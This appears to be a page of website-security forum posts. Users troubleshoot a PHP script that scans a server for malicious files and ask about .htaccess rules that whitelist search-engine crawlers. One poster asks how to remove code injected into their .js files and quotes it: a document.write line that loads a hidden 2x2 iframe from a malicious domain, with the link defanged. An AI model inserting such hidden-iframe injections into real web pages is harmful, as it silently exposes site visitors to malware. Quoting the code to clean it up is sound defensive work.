Recent Posts

I would suggest hiring a PHP programmer or web designer who is good at PHP to do this for you.
I am not available at this time to help with this type of problem.
The key PHP function you will need is preg_replace.

Hello Steve, thank you for all the info on website security. However, recently our entire hosting account was hacked with a link of code inside each one of the .js files. We have close to 1000 .js files bc of multiple Joomla and WP installs. How can we modify the handler inside LookingForBadGuys to remove the below code? Your help is much appreciated.

document.write('<iframe src="hxxp://spottystomach.net/Softgoods?8" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');

Thanks

[Reason for edit: hxxp to deactivate link]

Perfect thank you.

Now I have a different problem to take into consideration.

I was having it scan the entire drive and PHP is timing out.

I'm thinking I'm going to develop a GUI for it, that initially scans the main folders under the folder that I pass. Then using AJAX, it processes one sub folder and its sub folder at a time.

So, if I passed it:

d:/webserver

the GUI would output the enter list of subfolders (not recursive). then I hit a start button and it would just go through the list one by one. That way the all folders aren't processed at once.

I agree it's best not to alter the permissions on the IIS logs folders.

It looks like the problem is that the script does enter and attempt to read all directories, even excluded ones -- it just excludes *files* IN the excluded directories from examination. For some reason, the IISFOLDERNAME, within the Logs directory, is reported to PHP by the operating system as being a folder (the is_dir() and is_readable() tests succeed), yet when PHP tries to enter it as a folder, it turns out not to be one after all, and the script exits. Maybe it's a link or something, or, as you suggest, its permissions are preventing entry.

Maybe try this: toward the end of the BuildFileList() function, around line 790, look for these lines:

if(($filename !== '.') && ($filename !== '..'))

BuildFileList($fullname, $FileMatchRegexes, $FullpathExcludeRegexes); 

Change the upper line so the code looks like this:

if(($filename !== '.') && ($filename !== '..') && !preg_match('#logs#i', $filename))

BuildFileList($fullname, $FileMatchRegexes, $FullpathExcludeRegexes); 

This should prevent the Logs folder, and all folders within it, from being entered at all.

Thank you for your help.

However, I'm still having the same problem. Maybe, if I go into more detail.

The sub folders in my logs folder are IIS logs. I believe the problem could simply be the folders don't have the correct permissions for allowing PHP to scan them. Instead of messing my folder permissions, I thought maybe I could simply bypass those folders altogether.

Here is the error I get, *with folders renamed for this post*. The folder does exist and I do have access via FTP.

Code:

Warning: dir(D:/webserver/Logs/Frontpage/IISFOLDERNAME/) [function.dir]: failed to open dir: No such file or directory in file bad_filecheck.php on line 735

Fatal error: Call to a member function read() on a non-object in bad_filecheck.php on line 736

I renamed the file to bad_filecheck.php.

Your code looks fine, and, just to be sure, I set up a logs directory and ran the script with the exclusion, and it did the exclusion correctly.

Two things I can think of to suggest:

1) $FullpathExcludeRegexes is redefined several times in the script. Make sure you found and revised all of them so that a later one doesn't override the changes you made in an earlier one. (Or you could just revise the first definition and delete the others.)

2) From your example, it sounds like you are working in Windows where files and directories are case-insensitive (logs and Logs would refer to the same place), but when you run the script in Linux, filenames are case sensitive (logs and Logs are not the same). If this might be the problem, you could just change your code to make the dirname case-insensitive:

Code:

$FullpathExcludeRegexes = array
(
'#bad_filecheck\.php$#i',
'#logs#i'
);

I have tried the information from this topic: http://25yearsofprogramming.com/forum/index.php?topic=220.0

However, it isn't working.

I would like to block anything in the folder: d:\webserver\logs

I tried replacing all $FullpathExcludeRegexes with:

Code:

$FullpathExcludeRegexes = array
(
'#bad_filecheck\.php$#i',
'#logs#'
);

but it still scans that entire folder.


Thanks for all of your help

That's what I figured, as far as deny all.

As much as I've searched I've never found a way to set crawl limit in htaccess. This is really what I'm after:

If not a preferred search engine
behave like normal user
or this

Example: if you're not google and you're crawling like a search engine then redirect to captcha or 403

I'll keep looking thanks, Doug Wilson

That .htaccess code will result in all User-agents (and all visitors) being blocked. The SetEnvIfNoCase statements are considered separately, not as a set, so there is an implicit OR between them. If any one of them is true (and most will always be true), then "blocked" gets set.

For complicated rules, it's easier to use RewriteCond and RewriteRule, like the following. When using this method, leave out the <Files> code entirely.

A block of RewriteConds is a set, and they have an implied AND between them (which is what you want) unless OR is explicitly stated (with [NC,OR]):

RewriteCond %{HTTP_USER_AGENT} !"Googlebot-Image" [NC]
RewriteCond %{HTTP_USER_AGENT} !"Mediapartners-Google" [NC]
RewriteCond %{HTTP_USER_AGENT} !"Adsbot-Google" [NC]
RewriteCond %{HTTP_USER_AGENT} !"Googlebot" [NC]
RewriteCond %{HTTP_USER_AGENT} !"Slurp" [NC]
RewriteCond %{HTTP_USER_AGENT} !"Teoma" [NC]
RewriteCond %{HTTP_USER_AGENT} !"msnbot" [NC]
RewriteRule .* - [F]

Unfortunately, the above code will ONLY allow robots, and lock out all other visitors! So you would have to add lines for all the browsers that human visitors use.

Whitelisting by UA might not really be very practical.

Background: I recently made another branch off main domain. Using add-on domain-dot-com to put files and pages that didn't fit preferred keyword profile.

In this new domain I wanted to try something like a white list for user agents (search engines) but we all know white lists can grow as large as blacklists so I thought there has to be be some "If not then" route.

In all my robots.txt files I have allowed major search engines and disallowed all others. Of course this doesn't keep any naughty bots out, but it's there for any who respect it.

Question: Am I even close? 

SetEnvIfNoCase User-agent !"Googlebot-Image" blocked
SetEnvIfNoCase User-agent !"Mediapartners-Google" blocked
SetEnvIfNoCase User-agent !"Adsbot-Google" blocked
SetEnvIfNoCase User-agent !"Googlebot" blocked
SetEnvIfNoCase User-agent !"Slurp" blocked
SetEnvIfNoCase User-agent !"Teoma" blocked
SetEnvIfNoCase User-agent !"msnbot" blocked

<Files *>
Order allow,deny
deny from env=blocked
allow from all
</Files>